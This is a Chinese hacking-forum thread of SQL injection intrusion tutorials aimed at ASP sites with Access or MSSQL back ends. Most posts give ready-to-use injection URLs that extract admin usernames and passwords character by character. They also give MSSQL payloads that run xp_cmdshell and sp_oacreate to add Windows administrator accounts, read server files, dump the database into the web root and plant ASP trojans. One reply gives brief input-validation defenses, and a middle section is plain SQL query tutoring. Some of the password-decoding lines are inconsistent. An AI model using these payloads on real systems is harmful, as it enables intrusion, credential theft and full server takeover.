SQL注入网站入侵

[ 2142 查看 / 13 回复 ]

(为避免不必要的误会,网址、用户名、密码做了一些修改,不过方法是100%原汁原味)  1.寻找入口
  准备:如果你以前没尝试过SQL注入攻击,那应该把HTTP友好提示关闭,这样才能让你清楚看到服务器端返回的提示信息。
  尝试几个有传入参数的页面,逐个测试是否有SQL注入漏洞,识别方法为:把网址栏的ID=***x加个号,或在表单输入号,如果提示表达式错误,表示有漏洞可注入,另外,通过这个方式可以得到程序所用的数据库类型。
  经测试,发现有几个页面有注入漏洞,决定从http://www.movie.com/movie.asp?ID=1000入手,输入http://www.movie.com/movie.asp?ID=1000,得到信息:数据库用是的ACCESS,提示ArticleID=1000附近有表达式错误,嘿,原来是个用文章系统改出来的电影站。
  2.观察网站环境
  网站提供的功能有:影片分类、影片介绍、影片搜索,影片的ID大概从1000-1500之间。
  3.猜表名查清楚敌人情况之后,开始行动
  行动的第一步都是从猜表名开始,http://www.movie.com/movie.asp?ID=1000,把1000改成(select count(1) from user),那么,他原来的SQL语句将会变成:
  Select [字段列表] from [影片表] where 影片ID=(select count(1) from user)
  如果猜对表名,将有可能出现下面三种情况:
  A.显示某部影片的信息(巧合的情况)
  B.显示影片找不到(如果有判断是否为EOF)
  C.提示错误信息(EOF OR BOF)
  如果猜错,将会直接提示找不到表名。
  把user,users,member,members,userlist,memberlist,userinfo,admin,manager,用户,yonghu这些常用表名一个个放进去试,一般成功率都不低于80%
结果,成功猜中该网站的用户名表名为users
  4.猜列名
  至于猜列名,不用我介绍大家都应该清楚怎么做了,把(select count(1) from users)改成(select count(id) from users),如没提示"找不到字段"就表示字段名是正确的,字段一般不用太费力,在Login的时候看看表单的名称就大概可以猜到一些了。
  果然,这个网站也不例外,用户表中字段为ID(数字),UserID(文本),Password(文本),积分字段猜得比较费劲,为money
  5.锁定目标
  让users表只返回money最多的一个记录,以便进行猜解、并避免猜中一些没money的用户名:
  http://www.movie.com/movie.asp?ID=(select 1000 from user where money>1000)   结果:提示子查询不能返回两条以上记录
  锁定>10000,提示不变;
  锁定>100000,提示找不到记录,说明没有积分大于10万的用户;
  从1万到10万逐步缩小范围,得知积分大于25500只有一条记录。
  6.计算用户名及密码长度
  因为影片的ID大概从1000-1500之间,可以用UserID的长度+1000得出的数(即影片ID)计算用户名长度,键入:
  http://www.movie.com/movie.asp?ID=(select len(UserID) %2B 1000 from user where money>25500)%2B是什么?因为地址栏的+号request出来会变成空格,所以+号要用UrlEncode过的%2B表示。结果返回片名为《双雄》的影片,呵呵,怎么办?不是有搜索功能吗?拿去搜一下,看看影片ID是多少吧。
  搜索,得出影片ID是1006,显然,用户名长度为1006-1000=6;同样方法,得出密码的长度为8
  7.分步破解用户名
  有点SQL应用经验的人应该都想到方法了,来,敲入:
  http://www.movie.com/movie.asp?ID=(select asc(mid(UserID,1,1)) %2B 1000 from user where money>25500)

  呵呵,又返回一部影片,搜索一下,影片ID为1104,即asc(mid(UserID,1,1))=104
  同样方法,得出:
  asc(mid(UserID,2,1))=117
  asc(mid(UserID,3,1))=97
  asc(mid(UserID,4,1))=106
  asc(mid(UserID,5,1))=105
  asc(mid(UserID,6,1))=101
  因为len(UserID)=6,所以算到第6位就行了,查asc对应表(会编程的可以写几句话算出来),chr(104)=h,chr(117)=u,chr(97)=a,chr(106)=j,chr(105)=i,chr(101)=e
  连起来,用户名就是huajie
  8.同样的方法破解密码
  asc(mid(Password,1,1))=49 => chr(49)=1
  asc(mid(Password,2,1))=57 => chr(49)=9
  asc(mid(Password,3,1))=55 => chr(49)=7
  asc(mid(Password,4,1))=56 => chr(49)=8
  asc(mid(Password,5,1))=48 => chr(49)=0
  asc(mid(Password,6,1))=55 => chr(49)=7
  asc(mid(Password,7,1))=55 => chr(49)=1
  asc(mid(Password,8,1))=55 => chr(49)=2
  拼起来:19780712,哈哈,又是用生日做密码的!
  接下来,输入用户名和密码,登录系统,成功!猜表名列表之前用了30分钟,破解用了15分钟,45分钟搞掂了一个站。接下来做什么?当然是先Down几G的电影下来再说了。
分享 转发
TOP

理解.SQL注入技术
检测可否注入
  http://127.0.0.1/xx?id=11 and 1=1 (正常页面)
  http://127.0.0.1/xx?id=11 and 1=2 (出错页面)
  检测表段的
  http://127.0.0.1/xx?id=11 and exists (select * from admin)
  检测字段的
  http://127.0.0.1/xx?id=11 and exists (select username from admin)
  检测ID
  http://127.0.0.1/xx?id=11 and exists (select id from admin where ID=1)
  检测长度的
  http://127.0.0.1/xx?id=11 and exists (select id from admin where len(username)=5 and ID=1)
  检测长度的
  http://127.0.0.1/xx?id=11 and exists (select id from admin where len(username)=5 and ID=1)
  检测是否为MSSQL数据库
  http://127.0.0.1/xx?id=11 and exists (select * from sysobjects)
  检测是否为英文
  (ACCESS数据库)
  http://127.0.0.1/xx?id=11 and exists (select id from admin where asc(mid(username,1,1)) between 30 and 130 and ID=1)
  (MSSQL数据库)
  http://127.0.0.1/xx?id=11 and exists (select id from admin where unicode(substring(username,1,1)) between 30 and 130 and ID=1)
  检测英文的范围
  (ACCESS数据库)
  http://127.0.0.1/xx?id=11 and exists (select id from admin where asc(mid(username,1,1)) between 90 and 100 and ID=1)
  (MSSQL数据库)
  http://127.0.0.1/xx?id=11 and exists (select id from admin where unicode(substring(username,1,1)) between 90 and 100 and ID=1)
  检测那个字符
  (ACCESS数据库)
  http://127.0.0.1/xx?id=11 and exists (select id from admin where asc(mid(username,1,1))=97 and ID=1)
  (MSSQL数据库)
  http://127.0.0.1/xx?id=11 and exists (select id from admin where unicode(substring(username,1,1))=97 and ID=1)
  常用函数
  Access:asc(字符) SQLServer:unicode(字符)
  作用:返回某字符的ASCII码
  Access:chr(数字) SQLServer:nchar(数字)
  作用:与asc相反,根据ASCII码返回字符
  Access:mid(字符串,N,L) SQLServer:substring(字符串,N,L)
  作用:返回字符串从N个字符起长度为L的子字符串,即N到N+L之间的字符串
  Access:abc(数字) SQLServer:abc (数字)
  作用:返回数字的绝对值(在猜解汉字的时候会用到)
  Access:A between B And C SQLServer:A between B And C
  作用:判断A是否界于B与C之间
  and exists(Select top 1 * From 用户 order by id)
  1.在查询结果中显示列名:
  a.用as关键字:select name as '姓名'  from students order by age
  b.直接表示:select name '姓名'  from students order by age
  2.精确查找:
  a.用in限定范围:select * from students where native in ('湖南', '四川')
  b.between...and:select * from students where age between 20 and 30
  c.“=”:select * from students where name = '李山'
  d.like:select * from students where name like '李%' (注意查询条件中有“%”,则说明是部分匹配,而且还有先后信息在里面,即查找以“李”开头的匹配项。所以若查询有“李”的所有对象,应该命令:'%李%';若是第二个字为李,则应为'_李%'或'_李'或'_李_'。)
  e.[]匹配检查符:select * from courses where cno like '[AC]%' (表示或的关系,与"in(...)"类似,而且"[]"可以表示范围,如:select * from courses where cno like '[A-C]%')
  3.对于时间类型变量的处理
  a.smalldatetime:直接按照字符串处理的方式进行处理,例如:select * from students where birth > = '1980-1-1' and birth <= '1980-12-31'
  4.集函数
  a.count()求和,如:select count(*) from students (求学生总人数)
  b.avg(列)求平均,如:select avg(mark) from grades where cno=’B2’
  c.max(列)和min(列),求最大与最小
  5.分组group
  常用于统计时,如分组查总数:select gender,count(sno) from students group by gender(查看男女学生各有多少)
  注意:从哪种角度分组就从哪列"group by"
  对于多重分组,只需将分组规则罗列。比如查询各届各专业的男女同学人数 ,那么分组规则有:届别(grade)、专业(mno)和
  性别(gender),所以有"group by grade, mno, gender"
  select grade, mno, gender, count(*) from students group by grade, mno, gender
  通常group还和having联用,比如查询1门课以上不及格的学生,则按学号(sno)分类有:
  select sno,count(*) from grades where mark<60 group by sno having count(*)>1
  6.UNION联合
  合并查询结果,如:
  SELECT * FROM students WHERE name like ‘张%’UNION [ALL] SELECT * FROM students WHERE name like ‘李%’
  7.多表查询
  a.内连接
  select g.sno,s.name,c.coursename from grades g JOIN students s ON g.sno=s.sno JOIN courses c ON g.cno=c.cno
  (注意可以引用别名)
  b.外连接
  b1.左连接
  select courses.cno,max(coursename),count(sno) from courses LEFT JOIN grades ON courses.cno=grades.cno group by courses.cno
  左连接特点:显示全部左边表中的所有项目,即使其中有些项中的数据未填写完全。
  左外连接返回那些存在于左表而右表中却没有的行,再加上内连接的行。
  b2.右连接
  与左连接类似
  b3.全连接
  select sno,name,major from students FULL JOIN majors ON students.mno=majors.mno
  两边表中的内容全部显示
  c.自身连接
  select c1.cno,c1.coursename,c1.pno,c2.coursename from courses c1,courses c2 where c1.pno=c2.cno
  采用别名解决问题。
  d.交*连接
  select lastname+firstname from lastname CROSS JOIN firstanme
  相当于做笛卡儿积
  8.嵌套查询
  a.用关键字IN,如查询猪猪山的同乡:
  select * from students where native in (select native from students where name=’猪猪’)
  b.使用关键字EXIST,比如,下面两句是等价的:
  select * from students where sno in (select sno from grades where cno=’B2’)
  select * from students where exists (select * from grades where grades.sno=students.sno AND cno=’B2’)
  9.关于排序order
  a.对于排序order,有两种方法:asc升序和desc降序
  b.对于排序order,可以按照查询条件中的某项排列,而且这项可用数字表示,如:

  select sno,count(*) ,avg(mark) from grades group by sno having avg(mark)>85 order by 3
  10.其他
  a.对于有空格的识别名称,应该用"[]"括住。
  b.对于某列中没有数据的特定查询可以用null判断,如select sno,courseno from grades where mark IS NULL
  c.注意区分在嵌套查询中使用的any与all的区别,any相当于逻辑运算“||”而all则相当于逻辑运算“&&”
  d.注意在做否定意义的查询是小心进入陷阱:
  如,没有选修‘B2’课程的学生 :
  select students.* from students, grades where students.sno=grades.sno AND grades.cno <> ’B2’       
  上面的查询方式是错误的,正确方式见下方:
  select * from students where not exists (select * from grades where grades.sno=students.sno AND cno='B2')
  11.关于有难度多重嵌套查询的解决思想:如,选修了全部课程的学生:
  select * from students where not exists (select * from courses where NOT EXISTS (select * from grades where sno=students.sno AND cno=courses.cno))
  最外一重:从学生表中选,排除那些有课没选的。用not exist。由于讨论对象是课程,所以第二重查询从course表中找,排除那些选了课的即可。
TOP

大家不要再按教程上直接使用攻击我的网站www.xxxxx.net了,呵呵我已经打了预防针了:)找别人的去演习吧
  :)
  以下是文章部分,还有动画教程,呵呵,晕死:)
  实战 SQL Injection
  目标:www.xxxxx.net 的文章发布系统~~
  目的:为了演示SQL Injection 给新手看,请大家不要破坏~~
  打开 http://www.xxxxx.net/Article/list.asp?id=974
  在 http://www.xxxxx.net/Article/list.asp?id=974 后加个 '
  http://www.xxxxx.net/Article/list.asp?id=974'
  出错!ID没有过滤.
  好。现在步骤就是
  1、猜管理员账号的表
  2、猜相应表中的用户的字段名以及密码的字段名.
  3、猜出用户名的长度和密码的长度.
  3、猜出用户名和密码
  4、找到管理界面进去登陆管理.
  猜管理员表:
  http://www.xxxxx.net/Article/list.asp?id=974 and 1=(select min(id) from admin) '//min(id) 返回表
  中ID最小的值.
  返回文章,证明有一个admin的表.如果没有返回文章,证明出错!不存在admin这个表.
  猜用户的字段名
  http://www.xxxxx.net/Article/list.asp?id=974 and 1=(select min(id) from admin where user='qqq')
  返回错误信息,表示没有user这个用户字段名
  再来~~
  http://www.xxxxx.net/Article/list.asp?id=974 and 1=(select min(id) from admin where
  username='qqq')
  没有返回错误信息.又也没有返回文章,提示找不到相应文章
  证明:在admin中存在username这个字段.
  只是用户名不是qqq
  猜密码的字段名
  http://www.xxxxx.net/Article/list.asp?id=974 and 1=(select min(id) from admin where passwd='qqq')
  返回错误信息,表示没有passwd这个密码字段名
  再来~~
  http://www.xxxxx.net/Article/list.asp?id=974 and 1=(select min(id) from admin where
  password='qqq')
  没有返回错误信息.也没有返回文章.提示找不到相应文章.
  证明:在admin中存在password这个字段.
  只是密码不是qqq
  现在就来猜用户字段名长度
  http://www.xxxxx.net/Article/list.asp?id=974 and 1=(select min(id) from admin where
  len(username)>8)
  正确~~
  http://www.xuanke.com/wz/list.asp?id=47 and 1=(select min(id) from admin where len(username)<15)
  正确~~
  用户名长度 大于8 小于15
  http://www.xxxxx.net/Article/list.asp?id=974 and 1=(select min(id) from admin where
  len(username)=10)
  呵呵~~用户名长度为10位``~~
  猜密码长度
  http://www.xxxxx.net/Article/list.asp?id=974 and 1=(select min(id) from admin where
  len(password)>8)
  正确~~
  http://www.xxxxx.net/Article/list.asp?id=974 and 1=(select min(id) from admin where
  len(password)<15)
  正确~~~
  密码长度也是 大于8 小于15
  http://www.xxxxx.net/Article/list.asp?id=974 and 1=(select min(id) from admin where
len(password)=10)
  呵呵~~密码长度为10.
  用户名长度为:10 密码长度为:10
  现在来猜用户名.
  http://www.xxxxx.net/Article/list.asp?id=974 and 1=(select min(id) from admin where
  mid(username,1,1)='a')
  错了~~
  我再猜~~
  http://www.xxxxx.net/Article/list.asp?id=974 and 1=(select min(id) from admin where
  mid(username,1,1)='s')
  呵呵~~正确~~
  用户名第一位是 s
  猜用户名的第二位~~
  http://www.xxxxx.net/Article/list.asp?id=974 and 1=(select min(id) from admin where
  mid(username,2,1)='h')
  用户名第二位是 h
  由于时间关系,我早就猜好了,用户名:xxxxxadmin
  我们现在来猜密码~~ 猜密码跟猜用户名一样~~
  http://www.xxxxx.net/Article/list.asp?id=974 and 1=(select min(id) from admin where
  mid(password,1,1)='s')
  猜啊猜~
  由于时间关系,密码我都猜好了,呵呵~~密码:xxxxxadmin 哈哈~~跟用户名一样~~~~
  用户:xxxxxadmin
  密码:xxxxxadmin       
  ============================================================
  呵呵,我以前用动网文章系统,被sql注入攻击者都写成教程给别人下载了
  有些SB就拿我开刀,所幸我的论坛和文章发布系统用户名密码各不相同,否则损失可惨了
  于是培养了稍于注意安全的写代码习惯。
  如ID等数值型参数都是加cint()进行类型转换的,注入绝对是不成功的,如果是字符型参数都不用害怕',会当
  做一个字符部分,毫无作用。

  另外就是对传入参数做长度限定,比如
  if len(request("id"))>5 then response.end
  简单的一句话让注入攻击者一筹莫展
TOP

入侵网站必备Sql语句经典语句)判断有无注入点
  ; and 1=1 and 1=2
  2.猜表一般的表的名称无非是admin adminuser user pass
  password 等..
  and 0(select count(*) from *)
  and 0(select
  count(*) from admin) ---判断是否存在admin这张表
  3.猜帐号数目 如果遇到00)--
  and 1=(select
  count(*) from admin where len(用户字段名称name)>0)
  and 1=(select count(*) from
  admin where len(密码字段名称password)>0)
  5.猜解各个字段的长度
  猜解长度就是把>0变换 直到返回正确页面为止
  and 1=(select count(*) from admin where
  len(*)>0)
  and 1=(select count(*) from admin where len(name)>6) 错误
  and 1=(select count(*) from admin where len(name)>5) 正确 长度是6
  and
  1=(select count(*) from admin where len(name)=6) 正确
  and 1=(select
  count(*) from admin where len(password)>11) 正确
  and 1=(select count(*)
  from admin where len(password)>12) 错误 长度是12
  and 1=(select count(*) from
  admin where len(password)=12) 正确
  6.猜解字符
  and 1=(select count(*) from
  admin where left(name,1)=a) ---猜解用户帐号的第一位
  and 1= (select count(*) from admin
  where left(name,2)=ab)---猜解用户帐号的第二位
  就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了
  and 1=(select top 1 count(*) from Admin where Asc(mid (pass,5,1))=51) --
  这个查询语句可以猜解中文的用户和密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.
group by users.id having 1=1--
group by users.id, users.username,
users.password, users.privs having 1= 1--
; insert into users values( 666,
attacker, foobar, 0xffff )--
UNION SELECT TOP 1 COLUMN_NAME
FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE
_NAME=logintable-
UNION SELECT TOP 1 COLUMN_NAME FROM
INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=logintable WHERE
COLUMN_NAME NOT IN (login_id)-
UNION SELECT TOP 1
COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE
TABLE_NAME=logintable WHERE COLUMN_NAME NOT IN
(login_id,login_name)-
UNION SELECT TOP 1
login _name FROM logintable-
UNION SELECT TOP 1 password FROM
logintable where login_name=Rahul--
  看服务器打的补丁=出错了打了SP4补丁
  and 1=(select @@VERSION)--
  看数据库连接账号的权限,返回正常,证明是服务器角色sysadmin权限。
  and
  1=(SELECT IS_SRVROLEMEMBER(sysadmin))--
  判断连接数据库帐号。(采用SA账号连接 返回正常=证明了连接账号是SA)
  and sa=(SELECT
  System_user)--
  and user_name()=dbo--
  and
  0(select user_name()--
  看xp_cmdshell是否删除
  and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = X AND name =
  xp_cmdshell)--
  xp_cmdshell被删除,恢复,支持绝对路径的恢复
  ;EXEC
  master.dbo.sp_addextendedproc xp_cmdshell,xplog70.dll--
  ;EXEC master.dbo.sp_addextendedproc xp_cmdshell,c:
inetpubwwwrootxplog70.dll--
  反向PING自己实验
;use master;declare @s
int;exec sp_oacreate "wscript.shell",@s out;exec sp_oamethod
@s,"run",NULL,"cmd.exe /c ping 192.168.0.1";--
  加帐号
;DECLARE @shell
INT EXEC SP_OACREATE wscript.shell,@shell OUTPUT EXEC SP
_OAMETHOD @shell,run,null, C:WINNTsystem32cmd.exe /c net user jiaoniang$
1866574 /add--
  创建一个虚拟目录E盘:
;declare @o int exec
sp_oacreate wscript.shell, @o out exec sp_oamethod @o, run,
NULL, cscript.exe c:inetpubwwwrootmkwebdir.vbs -w "默认Web站点" -v "e","e: "--
  访问属性:(配合写入一个webshell)
declare @o int exec sp_oacreate
wscript.shell, @o out exec sp_oamethod @o, run, NULL, cscript.exe
c:inetpubwwwrootchaccess.vbs -a w3svc/1/ROOT/e +browse
  爆库
  特殊技巧::%5c= 或者把/和 修改%5提交
  and 0(select top 1 paths from
  newtable)--
  得到库名(从1到5都是系统的id,6以上才可以判断)
and 1=(select name from
master.dbo.sysdatabases where dbid=7)--
and 0(select count(*) from
master.dbo.sysdatabases where name>1 and dbid=6)
依次提交 dbid = 7,8,9....



一、版本
  url/1.asp?id=1 and @@VERSION>0
  二、跨库
  url/1.asp?id=1 and 1=(select db_name(n))
  n改成0,1,2,3……就可以跨库了,是不是比网上的简单呢?
  三、列名
  url/1.asp?id=1 and 1=(select col_name(object_id('表名'),n) '表名'可以换成16进制。像bbsuser=0x6200620073007500730065007200(不可以去掉0)
  四、表名字段值
  select top 1 name from bbs.dbo.sysobjects where xtype='U' and name not in ('表名1,表名2'))
  字段值:
  select top 1 列名 from 表名 where 列名 not in (select top n 列名 from 表名)
  n改1,2,3,4就可以得库名、列名
TOP

SQL注入不完全思路与防注入程序

SQL注入不完全思路与防注入程序
<一>SQL注入简介
  许多网站程序在编写时,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可
  以提交一段数据库查询代码,(一般是在浏览器地址栏进行,通过正常的www端口访问)根据程序返回的结
  果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。
  <二>SQL注入思路
  思路最重要。其实好多人都不知道SQL到底能做什么呢?这里总结一下SQL注入入侵的总体的思路:
  1. SQL注入漏洞的判断,即寻找注入点
  2. 判断后台数据库类型
  3. 确定XP_CMDSHELL可执行情况;若当前连接数据的帐号具有SA权限,且master.dbo.xp_cmdshell扩
  展存储过程(调用此存储过程可以直接使用操作系统的shell)能够正确执行,则整个计算机可以通过几种
  方法完全控制,也就完成了整个注入过程,否则继续:
  1. 发现WEB虚拟目录
  2. 上传ASP木马;
  3. 得到管理员权限
  具体步骤:
  一、SQL注入漏洞的判断
  如果以前没玩过注入,请把IE菜单-工具-Internet选项-高级-显示友好HTTP错误信息前面的勾去掉
  。
  为了把问题说明清楚,以下以HTTP://www.163.com/news.asp?id=xx(这个地址是假想的),为例进行
  分析,xx可能是整型,也有可能是字符串。
  1、整型参数的判断
  当输入的参数xx为整型时,通常news.asp中SQL语句原貌大致如下:
  select * from 表名 where 字段=xx,所以可以用以下步骤测试SQL注入是否存在。
  最简单的判断方法
  HTTP://www.163.com/news.asp?id=xx’(附加一个单引号),
  此时news.asp中的SQL语句变成了
  select * from 表名 where 字段=xx’,
如果程序没有过滤好“’”的话,就会提示 news.asp运行异常;但这样的方法虽然很简单,但并不
  是最好的,因为:
  first,不一定每台服务器的IIS都返回具体错误提示给客户端,如果程序中加了cint(参数)之类语句
  的话,SQL注入是不会成功的,但服务器同样会报错,具体提示信息为处理 URL 时服务器上出错。请和系
  统管理员联络。
  second,目前大多数程序员已经将“’“ 过滤掉,所以用” ’”测试不到注入点,所以一般使用经
  典的1=1和1=2测试方法,见下文:
  HTTP://www.163.com/news.asp?id=xx and 1=1, news.asp运行正常,
  而且与HTTP://www.163.com/news.asp?id=xx运行结果相同;
  HTTP://www.163.com/news.asp?id=xx and 1=2, news.asp运行异常;(这就是经典的 1=1 1=2 判断方法
  )
  如果以上面满足,news.asp中就会存在SQL注入漏洞,反之则可能不能注入。
  2、字符串型参数的判断
  方法与数值型参数判断方法基本相同
  当输入的参数xx为字符串时,通常news.asp中SQL语句原貌大致如下:
  select * from 表名 where 字段='xx',所以可以用以下步骤测试SQL注入是否存在。
  HTTP://www.163.com/news.asp?id=xx’(附加一个单引号),此时news.asp中的SQL语句变成了
  select * from 表名 where 字段=xx’,news.asp运行异常;
  HTTP://www.163.com/news.asp?id=xx and '1'='1', news.asp运行正常,
  而且与HTTP://www.163.com/news.asp?id=xx运行结果相同;
  HTTP://www.163.com/news.asp?id=xx and '1'='2', news.asp运行异常;
如果以上满足,则news.asp存在SQL注入漏洞,反之则不能注入
  3、特殊情况的处理
  有时ASP程序员会在程序员过滤掉单引号等字符,以防止SQL注入。此时可以用以下几种方法试一试。
  ①大小定混合法:由于VBS并不区分大小写,而程序员在过滤时通常要么全部过滤大写字符串,要么
  全部过滤小写字符串,而大小写混合往往会被忽视。如用SelecT代替select,SELECT等;
  ②UNICODE法:在IIS中,以UNICODE字符集实现国际化,我们完全可以IE中输入的字符串化成UNICODE
  字符串进行输入。如+ =%2B,空格=%20 等;URLEncode信息参见附件一;
  ③ASCII码法:可以把输入的部分或全部字符全部
  <4>出了上述方法以外,还有个更简单的方法就是使用现成的工具像NB联盟的NBSI就是一款很不错
  的工具,目前最新的版本为2.2
  二、判断数据库类型
  不同的数据库的函数、注入方法都是有差异的,所以在注入之前,我们还要判断一下数据库的类型。
  一般ASP最常搭配的数据库是Access和SQLServer,网上超过99%的网站都是其中之一。
  怎么让程序告诉你它使用的什么数据库呢?来看看:
  SQLServer有一些系统变量,如果服务器IIS提示没关闭,并且SQLServer返回错误提示的话,那可以
  直接从出错信息获取,方法如下:
  HTTP://www.163.com/news.asp?id=xx;and user>0
  这句语句很简单,但却包含了SQLServer特有注入方法的精髓,我自己也是在一次无意的测试中发现
  这种效率极高的猜解方法。让我看来看看它的含义:首先,前面的语句是正常的,重点在and user>0,
  我们知道,user是SQLServer的一个内置变量,它的值是当前连接的用户名,类型为nvarchar。拿一个
nvarchar的值跟int的数0比较,系统会先试图将nvarchar的值转成int型,当然,转的过程中肯定会出错
  ,SQLServer的出错提示是:将nvarchar值 ”abc” 转换数据类型为 int
  的列时发生语法错误,呵呵,abc正是变量user的值,这样,不废吹灰之力就拿到了数据库的用户名。在
  以后的篇幅里,大家会看到很多用这种方法的语句。 顺便说几句,众所周知,SQLServer的用户sa是个等
  同Adminstrators权限的角色,拿到了sa权限,几乎肯定可以拿到主机的 Administrator了。上面的方法
  可以很方便的测试出是否是用sa登录,要注意的是:如果是sa登录,提示是将”dbo”转换成int的列发生
  错误,而不是”sa”。
  如果服务器IIS不允许返回错误提示,那怎么判断数据库类型呢?我们可以从Access和SQLServer和区
  别入手,Access和
  SQLServer都有自己的系统表,比如存放数据库中所有对象的表,Access是在系统表[msysobjects]中,但
  在Web环境下读该表会提示“没有权限”,SQLServer是在表[sysobjects]中,在Web环境下可正常读取。
  在确认可以注入的情况下,使用下面的语句:
  HTTP://www.163.com/news.asp?id=xx ;and (select count(*) from sysobjects)>0
  HTTP://www.163.com/news.asp?id=xx ;and (select count(*) from msysobjects)>0
  如果数据库是SQLServer,那么第一个网址的页面与原页面HTTP://www.163.com/news.asp?id=xx是大
  致相同的;而第二个网址,由于找不到表msysobjects,会提示出错,就算程序有容错处理,页面也与原
  页面完全不同。
  如果数据库用的是Access,那么情况就有所不同,第一个网址的页面与原页面完全不同;第二个网址
,则视乎数据库设置是否允许读该系统表,一般来说是不允许的,所以与原网址也是完全不同。大多数情
  况下,用第一个网址就可以得知系统所用的数据库类型,第二个网址只作为开启IIS错误提示时的验证。
  三、确定XP_CMDSHELL可执行情况
  若当前连接数据的帐号具有SA权限,且master.dbo.xp_cmdshell扩展存储过程(调用此存储过程可以
  直接使用操作系统的shell)能够正确执行,则整个计算机可以通过以下几种方法完全控制,以后的所有步
  骤都可以省
  1、HTTP://www.163.com/news.asp?id=xx and user>;0 news.asp执行异常但可以得到当前连接数据
  库的用户名(若显示dbo则代表SA)。
  2、HTTP://www.163.com/news.asp?id=xx and db_name()>0 news.asp执行异常但可以得到当前连接
  的数据库名。
  3、HTTP://www.163.com/news.asp?id=xx;exec master..xp_cmdshell “net user aaa bbb /add”
  -- (master是SQL-SERVER的主数据
  库;名中的分号表示SQL-SERVER执行完分号前的语句名,继续执行其后面的语句;“—”号是注解,表示
  其后面的所有内容仅为注释,系统并不执行)可以直接增加操作系统帐户aaa,密码为bbb。
  4、HTTP://www.163.com/news.asp?id=xx;exec master..xp_cmdshell “net localgroup
  administrators aaa /add”-- 把刚刚增加
  的帐户aaa加到administrators组中。
  5、HTTP://www.163.com/news.asp?id=xx;backuup database 数据库名 to
  disk='c:inetpubwwwrootsave.db' 则把得到的数据内容
  全部备份到WEB目录下,再用HTTP把此文件下载(当然首选要知道WEB虚拟目录)。
TOP

6、通过复制CMD创建UNICODE漏洞  HTTP://www.163.com/news.asp?id=xx;exec master.dbo.xp_cmdshell “copy
  c:winntsystem32cmd.exe
  c:inetpubscriptscmd.exe” 便制造了一个UNICODE漏洞,通过此漏洞的利用方法,便完成了对整
  个计算机的控制(当然首选要知道WEB虚拟目录)。
  这样你就成功的完成了一次SQL注入攻击,先别兴奋,在实践时你就会发现这比理论要难的多会有更
  多的困难等着你come over ,下面GO ON如果上述条件不成立则需继续奋斗(要挂马了:))
  GO ON~!
  当上述条件不成立时就要继续下面的步骤
  (一)、发现WEB虚拟目录
  只有找到WEB虚拟目录,才能确定放置ASP木马的位置,进而得到USER权限。有两种方法比较有效。
  一是根据经验猜解,一般来说,WEB虚拟目录是:c:inetpubwwwroot;
  D:inetpubwwwroot; E:inetpubwwwroot等,而可执行虚拟目录是:
  c:inetpubscripts; D:inetpubscripts; E:inetpubscripts等。
  二是遍历系统的目录结构,分析结果并发现WEB虚拟目录;
  先创建一个临时表:temp
  HTTP://www.163.com/news.asp?id=xx;create table temp(id nvarchar(255),num1 nvarchar(255),num2
  nvarchar(255),num3
  nvarchar(255));--
  接下来:
  1 我们可以利用xp_availablemedia来获得当前所有驱动器,并存入temp表中:
  HTTP://www.163.com/news.asp?id=xx;insert temp exec master.dbo.xp_availablemedia;--
  我们可以通过查询temp的内容来获得驱动器列表及相关信息
  2 我们可以利用xp_subdirs获得子目录列表,并存入temp表中:
  HTTP://www.163.com/news.asp?id=xx;insert into temp(id) exec master.dbo.xp_subdirs 'c:';--
3 我们还可以利用xp_dirtree获得所有子目录的目录树结构,并寸入temp表中:
  HTTP://www.163.com/news.asp?id=xx;insert into temp(id,num1) exec master.dbo.xp_dirtree
  'c:';--
  这样就可以成功的浏览到所有的目录(文件夹)列表:
  如果我们需要查看某个文件的内容,可以通过执行xp_cmdsell:
  HTTP://www.163.com/news.asp?id=xx;insert into temp(id) exec master.dbo.xp_cmdshell 'type
  c:webindex.asp';--
  使用'bulk insert'语法可以将一个文本文件插入到一个临时表中。如:bulk insert temp(id) from
  'c:inetpubwwwrootindex.asp'
  浏览temp就可以看到index.asp文件的内容了!通过分析各种ASP文件,可以得到大量系统信息,WEB建设
  与管理信息,甚至可以得到SA帐号的连接密码。
  当然,如果xp_cmshell能够执行,我们可以用它来完成:
  HTTP://www.163.com/news.asp?id=xx;insert into temp(id) exec master.dbo.xp_cmdshell 'dir
  c:';--
  HTTP://www.163.com/news.asp?id=xx;insert into temp(id) exec master.dbo.xp_cmdshell 'dir c:
  *.asp /s/a';--
  通过xp_cmdshell我们可以看到所有想看到的,包括W3svc
  HTTP://www.163.com/news.asp?id=xx;insert into temp(id) exec master.dbo.xp_cmdshell 'cscript
  C:InetpubAdminScriptsadsutil.vbs enum w3svc'
  但是,如果不是SA权限,我们还可以使用
  HTTP://www.163.com/news.asp?id=xx;insert into temp(id,num1) exec master.dbo.xp_dirtree
  'c:';--
  注意:
  1、以上每完成一项浏览后,应删除TEMP中的所有内容,删除方法是:
  HTTP://www.163.com/news.asp?id=xx;delete from temp;--
  2、浏览TEMP表的方法是:(假设TestDB是当前连接的数据库名)
  HTTP://www.163.com/news.asp?id=xx and (select top 1 id from TestDB.dbo.temp )>0
  得到表TEMP中第一条记录id字段的值,并与整数进行比较,显然news.asp工作异常,但在异常中却可
  以发现id字段的值。假设发现的表名是xyz,则
  HTTP://www.163.com/news.asp?id=xx and (select top 1 id from TestDB.dbo.temp )>0 where id
  not in('xyz'))>0
  得到表TEMP中第二条记录id字段的值。
  (二)、上传ASP木马
  所谓ASP木马,就是一段有特殊功能的ASP代码,并放入WEB虚拟目录的Scripts下,远程客户通过IE就
  可执行它,进而得到系统的USER权限,实现对系统的初步控制。上传ASP木马一般有两种比较有效的方法
  :
  1、利用WEB的远程管理功能
  许多WEB站点,为了维护的方便,都提供了远程管理的功能;也有不少WEB站点,其内容是对于不同的
  用户有不同的访问权限。为了达到对用户权限的控制,都有一个网页,要求用户名与密码,只有输入了正
  确的值,才能进行下一步的操作,可以实现对WEB的管理,如上传、下载文件,目录浏览、修改配置等。
  因此,若获取正确的用户名与密码,不仅可以上传ASP木马,有时甚至能够直接得到USER权限而浏览
  系统,上一步的“发现WEB虚拟目录”的复杂操作都可省略。
